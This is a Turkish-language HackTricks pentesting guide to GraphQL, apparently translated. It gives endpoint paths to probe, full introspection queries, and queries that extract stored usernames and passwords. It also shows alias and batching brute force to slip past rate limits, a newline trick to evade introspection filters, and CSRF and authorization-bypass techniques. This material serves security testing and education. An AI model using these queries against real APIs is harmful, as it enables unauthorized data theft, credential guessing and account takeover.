GraphQL

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile

HackTricks'ı desteklemenin diğer yolları:

Giriş

GraphQL, backend'den veri sorgulamak için basitleştirilmiş bir yaklaşım sunan REST API'ye etkili bir alternatif olarak vurgulanmaktadır. REST'in aksine, verileri toplamak için genellikle çeşitli uç noktalarda birçok istek gerektiren GraphQL, tüm gerekli bilgilerin tek bir istek aracılığıyla alınmasını sağlar. Bu basitleştirme, veri alım süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde fayda sağlar.

GraphQL ve Güvenlik

GraphQL gibi yeni teknolojilerin ortaya çıkmasıyla yeni güvenlik açıkları da ortaya çıkmaktadır. Dikkate alınması gereken önemli bir nokta, GraphQL'in varsayılan olarak kimlik doğrulama mekanizmalarını içermediğidir. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Doğru kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulamasız kullanıcılara hassas bilgileri açığa çıkarabilir ve ciddi bir güvenlik riski oluşturabilir.

Dizin Kaba Kuvvet Saldırıları ve GraphQL

Açığa çıkarılmış GraphQL örneklerini tanımlamak için dizin kaba kuvvet saldırılarında belirli yolların dahil edilmesi önerilir. Bu yollar şunlardır:

  • /graphql

  • /graphiql

  • /graphql.php

  • /graphql/console

  • /api

  • /api/graphql

  • /graphql/api

  • /graphql/graphql

Açık GraphQL örneklerinin tanımlanması, desteklenen sorguların incelenmesine olanak tanır. Bu, uç noktadan erişilebilen verileri anlamak için önemlidir. GraphQL'in içgörü sistemi, bir şemanın desteklediği sorguları detaylandırarak bunu kolaylaştırır. Daha fazla bilgi için GraphQL belgelerindeki içgörüye bakın: GraphQL: API'ler için bir sorgu dili.

Parmak İzi

graphw00f aracı, bir sunucuda kullanılan GraphQL motorunu tespit edebilir ve ardından güvenlik denetçisi için bazı yararlı bilgileri yazdırabilir.

Evrensel sorgular

Bir URL'nin bir GraphQL servisi olup olmadığını kontrol etmek için bir evrensel sorgu, query{__typename}, gönderilebilir. Yanıt {"data": {"__typename": "Query"}} içeriyorsa, URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya koyan GraphQL'in __typename alanına dayanır.

query{__typename}

Temel Numaralandırma

Graphql genellikle GET, POST (x-www-form-urlencoded) ve POST(json) destekler. Güvenlik açısından CSRF saldırılarını önlemek için yalnızca json'a izin vermek önerilir.

İçgörü

Şema bilgilerini keşfetmek için içgörüyü kullanmak için __schema alanını sorgulayın. Bu alan, tüm sorguların kök türünde mevcuttur.

query={__schema{types{name,fields{name}}}}

Bu sorgu ile kullanılan tüm tiplerin adını bulacaksınız:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Bu sorgu ile tüm tipleri, alanlarını ve argümanlarını (ve argümanların türünü) çıkarabilirsiniz. Veritabanını sorgulamanın nasıl yapılacağını bilmek çok faydalı olacaktır.

Hatalar

Hataların gösterilip gösterilmeyeceğini bilmek ilginç olacaktır, çünkü bunlar faydalı bilgiler sağlayabilir.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Veritabanı Şemasını Tanımlama Yöntemi ile Sıralama

Eğer tanımlama etkinleştirilmişse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından onOperation, onFragment ve onField direktiflerini kaldırmayı deneyin.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Satır içi denetim sorgusu:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Sorgulama

Veritabanında hangi tür bilgilerin saklandığını bildiğimize göre, bazı değerler çıkarmaya çalışalım.

İntrospeksiyonda doğrudan sorgulayabileceğiniz nesneleri bulabilirsiniz (bir nesneyi sorgulayamazsınız çünkü var olduğu için). Aşağıdaki görüntüde "queryType" olarak adlandırılan "Query" olduğunu ve "Query" nesnesinin alanlarından birinin "flags" olduğunu görebilirsiniz, bu alan da bir nesne türündedir. Dolayısıyla bayrak nesnesini sorgulayabilirsiniz.

Sorgunun türünün "flags" olduğuna dikkat edin ve bu nesnenin aşağıdaki gibi tanımlandığını görebilirsiniz:

"Flags" nesnelerinin isim ve değer tarafından oluşturulduğunu görebilirsiniz. Sonra bayrakların tüm isimlerini ve değerlerini aşağıdaki sorgu ile alabilirsiniz:

query={flags{name, value}}

Not: Eğer sorgulanacak nesne bir ilkel tür gibi dize ise aşağıdaki örnekte olduğu gibi

Sadece şu şekilde sorgulayabilirsiniz:

query={hiddenFlags}

Başka bir örnekte, "Query" türü nesnesi içinde 2 nesne bulundu: "user" ve "users". Bu nesnelerin aranması için herhangi bir argümana ihtiyaç duymadıkları durumda, istediğiniz verileri sormak suretiyle tüm bilgileri alabilirsiniz. Bu örnekte İnternet'ten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz:

Ancak, bu örnekte bunu denerseniz şu hatayı alırsınız:

Görünüşe göre, "uid" türünde bir argüman kullanarak arama yapacak gibi görünüyor. Neyse ki, zaten Temel Numaralandırma bölümünde bize gereken tüm bilgileri gösteren bir sorgu önerilmişti: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Eğer o sorguyu çalıştırdığımda sağlanan resmi okursanız, "user"'ın Int türünde "uid" argümanına sahip olduğunu göreceksiniz.

Bu nedenle, hafif bir uid bruteforce gerçekleştirerek uid=1 için bir kullanıcı adı ve şifre elde ettim: query={user(uid:1){user,password}}

Dikkat edin ki, "user" ve "password" parametrelerini isteyebileceğimi keşfettim çünkü eğer var olmayan bir şey aramaya çalışırsam (query={user(uid:1){noExists}}) bu hatayı alırım:

Ve numaralandırma aşaması sırasında "dbuser" nesnesinin "user" ve "password" alanlarına sahip olduğunu keşfettim.

Sorgu dizesi dökme hilesi (teşekkürler @BinaryShadow_)

Eğer bir dize türüyle arama yapabilirseniz, örneğin: query={theusers(description: ""){username,password}} ve bir boş dize için arama yaparsanız tüm verileri dökecektir. (Bu örnek, öğreticilerin örneğiyle ilgili değildir, bu örnekte bir String alanı olan "description" ile "theusers" kullanarak arama yapabileceğinizi varsayalım).

Arama

Bu kurulumda, bir veritabanı kişileri ve filmleri içerir. Kişiler e-posta ve isimleriyle tanımlanır; filmler ise adları ve derecelendirmeleriyle. Kişiler birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir.

Kişileri isimlerine göre arayabilir ve e-postalarını alabilirsiniz:

{
searchPerson(name: "John Doe") {
email
}
}

Kişileri adlarına göre arayabilir ve abone oldukları filmleri alabilirsiniz:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Not alınan kişinin aboneFilmler'in adı alınması belirtilmiştir.

Ayrıca aynı anda birkaç nesne aranabilir. Bu durumda, 2 film araması yapılır:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ya da hatta farklı nesnelerin ilişkileri, takma adlar kullanılarak:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutations, sunucu tarafında değişiklik yapmak için kullanılır.

Introspection içinde tanımlanmış mutasyonları bulabilirsiniz. Aşağıdaki görüntüde "MutationType" "Mutation" olarak adlandırılır ve "Mutation" nesnesi mutasyonların isimlerini içerir (bu durumda "addPerson" gibi):

Bu yapıda bir veritabanı, kişileri ve filmleri içerir. Kişiler, e-posta ve isimleri ile tanımlanır; filmler ise isim ve puanları ile tanımlanır. Kişiler birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir.

Veritabanına yeni filmler eklemek için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon addMovie olarak adlandırılmıştır):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Sorguda hem verilerin hem de veri türünün belirtildiğine dikkat edin.

Ayrıca, veritabanı mevcut arkadaşlar ve filmler ile ilişkilendirilmiş kişilerin oluşturulmasına izin veren addPerson adında bir mutasyon işlemini destekler. Arkadaşlar ve filmlerin, yeni oluşturulan kişiye bağlanmadan önce veritabanında önceden var olması gerektiği önemlidir.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Yönerge Aşırı Yükleme

Bu raporda açıklanan zafiyetlerden birinde açıklandığı gibi, bir yönerge aşırı yükleme, sunucunun işlemleri boşa harcayacak şekilde bir yönergeyi milyonlarca kez çağırma anlamına gelir ve DoS saldırısı yapılabilir hale gelene kadar devam etmektedir.

1 API isteğinde toplu kaba kuvvet saldırısı

Bu bilgi https://lab.wallarm.com/graphql-batching-attack/ adresinden alınmıştır. Farklı kimlik bilgileri ile birlikte birçok sorguyu aynı anda göndererek kimlik doğrulama. Kontrol etmek için. Bu klasik bir kaba kuvvet saldırısıdır, ancak şimdi GraphQL toplu işleme özelliği sayesinde HTTP isteği başına birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, harici hız izleme uygulamalarını tümünün iyi olduğunu ve şifreleri tahmin etmeye çalışan bir kaba kuvvet botunun olmadığını düşünmelerine kandırabilir.

Aşağıda, aynı anda 3 farklı e-posta/şifre çifti ile uygulama kimlik doğrulama isteğinin en basit gösterimi bulunmaktadır. Açıkça, aynı şekilde tek bir istekte binlerce göndermek mümkündür:

Yanıt ekran görüntüsünden görebileceğimiz gibi, ilk ve üçüncü istekler null döndürdü ve ilgili bilgileri error bölümünde yansıttı. İkinci mutasyon doğru kimlik doğrulama verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirteci içeriyordu.

GraphQL İntrospeksiyon Olmadan

Daha fazla graphql uç noktası introspeksiyonu devre dışı bırakıyor. Bununla birlikte, graphql'in beklenmeyen bir istek aldığında fırlattığı hatalar, clairvoyance gibi araçlar için şemayı yeniden oluşturmak için yeterlidir.

Ayrıca, Burp Suite uzantısı GraphQuail uzantısı, Burp üzerinden geçen GraphQL API isteklerini izler ve her yeni sorguyu gördüğünde içsel bir GraphQL şeması oluşturur. Ayrıca şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir introspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için buraya bakın.

GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir.

GraphQL İntrospeksiyon Savunmalarını Atlatma

GraphQL İntrospeksiyon Savunmalarını Atlatma

API'lerde introspeksiyon sorgularına getirilen kısıtlamaları atlamak için, __schema kelimesinden sonra özel bir karakter eklemek etkili olmaktadır. Bu yöntem, introspeksiyonu engellemeyi amaçlayan regex desenlerinde yaygın geliştirici hatalarını sömürür. __schema kelimesine odaklanan regex desenlerinde hesaba katılmayan ancak GraphQL'in görmezden geldiği karakterlerin eklenmesiyle, kısıtlamalar atlatılabilir. Örneğin, __schema'dan sonra bir satır sonu ekleyen bir introspeksiyon sorgusu, bu tür savunmaları atlayabilir:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Eğer başarısız olursanız, yalnızca POST isteklerine kısıtlamalar uygulanmış olabileceğinden GET istekleri veya x-www-form-urlencoded ile POST gibi alternatif istek yöntemlerini düşünebilirsiniz.

Açığa Çıkarılmış GraphQL Yapılarını Keşfetme

İntrospeksiyon devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları incelemek yararlı bir stratejidir. Bu sorgular, geliştirici araçlarındaki Kaynaklar sekmesi kullanılarak bulunabilir, API'nin şemasına dair içgörüler sağlayabilir ve potansiyel olarak açığa çıkarılmış hassas sorguları ortaya çıkarabilir. Geliştirici araçları içinde arama yapmak için kullanılan komutlar:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

GraphQL'de CSRF

CSRF nedir bilmiyorsanız aşağıdaki sayfayı okuyun:

pageCSRF (Cross Site Request Forgery)

Dışarıda, CSRF tokenları olmadan yapılandırılmış birkaç GraphQL uç noktası bulabileceksiniz.

GraphQL istekleri genellikle application/json Content-Type kullanılarak POST istekleri aracılığıyla gönderilir.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Ancak, çoğu GraphQL uç noktası ayrıca form-urlencoded POST isteklerini de destekler:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Bu nedenle, önceki istekler gibi CSRF istekleri önişlem isteği olmadan gönderildiğinden, bir CSRF'yi istismar ederek GraphQL'de değişiklikler yapmak mümkündür.

Ancak, Chrome'un samesite bayrağının yeni varsayılan çerez değeri Lax'tir. Bu, çerezin yalnızca üçüncü taraf web sitelerinden GET isteklerinde gönderileceği anlamına gelir.

GraphQL uç noktasından içerik sızdırmak için XS-Search saldırısını istismar etmek de mümkün olabilir ve kullanıcının kimlik bilgilerini istismar edebilir.

Daha fazla bilgi için buradaki orijinal yazıya bakın.

GraphQL'de Yetkilendirme

Uç noktada tanımlanan birçok GraphQL işlevi, yalnızca istekte bulunanın kimlik doğrulamasını kontrol edebilir ancak yetkilendirmeyi kontrol etmeyebilir.

Sorgu giriş değişkenlerini değiştirmek, hassas hesap ayrıntılarına yol açabilir sızdırılmış.

Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hesap ele geçirmesine bile yol açabilir.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

GraphQL'de Yetkilendirme Atlatma

Query'leri zincirleme zayıf bir kimlik doğrulama sistemini atlayabilir.

Aşağıdaki örnekte işlemin "forgotPassword" olduğunu ve yalnızca onunla ilişkili forgotPassword sorgusunun yürütülmesi gerektiğini görebilirsiniz. Bu, sona bir sorgu ekleyerek atlatılabilir, bu durumda "register" ve sisteme yeni bir kullanıcı olarak kaydedilmesi için bir kullanıcı değişkeni ekliyoruz.

GraphQL'de Aliases Kullanarak Sınırı Atlatma

GraphQL'de, aliasler API isteği yapılırken özelliklerin açıkça adlandırılmasına olanak tanıyan güçlü bir özelliktir. Bu yetenek, tek bir istekte aynı türden birden fazla örneği almak için özellikle kullanışlıdır. Aliasler, GraphQL nesnelerinin aynı ada sahip birden fazla özelliğe sahip olmasını engelleyen kısıtlamayı aşmak için kullanılabilir.

GraphQL aliaslerinin detaylı anlaşılması için aşağıdaki kaynak önerilir: Aliasler.

Aliaslerin asıl amacı birçok API çağrısına gerek duymayı azaltmaktır, ancak aliaslerin yanlışlıkla kullanılabileceği bir durum tespit edilmiştir: aliasler, GraphQL uç noktasında brute force saldırıları gerçekleştirmek için kullanılabilir. Bu, bazı uç noktaların brute force saldırılarını sınırlayarak HTTP isteklerinin sayısını kısıtlayan hız sınırlayıcılarla korunduğu için mümkündür. Bununla birlikte, bu hız sınırlayıcılar her istekteki işlemlerin sayısını hesaba katmayabilir. Aliasler, bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiği için, bu tür hız sınırlama önlemlerini atlayabilir.

Aşağıdaki örneği düşünün, bu örnek, mağaza indirim kodlarının geçerliliğini doğrulamak için aliasli sorguların nasıl kullanılabileceğini göstermektedir. Bu yöntem, birçok indirim kodunun aynı anda doğrulanmasına izin vererek hız sınırlamayı atlayabilir.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Araçlar

Güvenlik açığı tarayıcıları

İstemciler

Otomatik Testler

Referanslar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated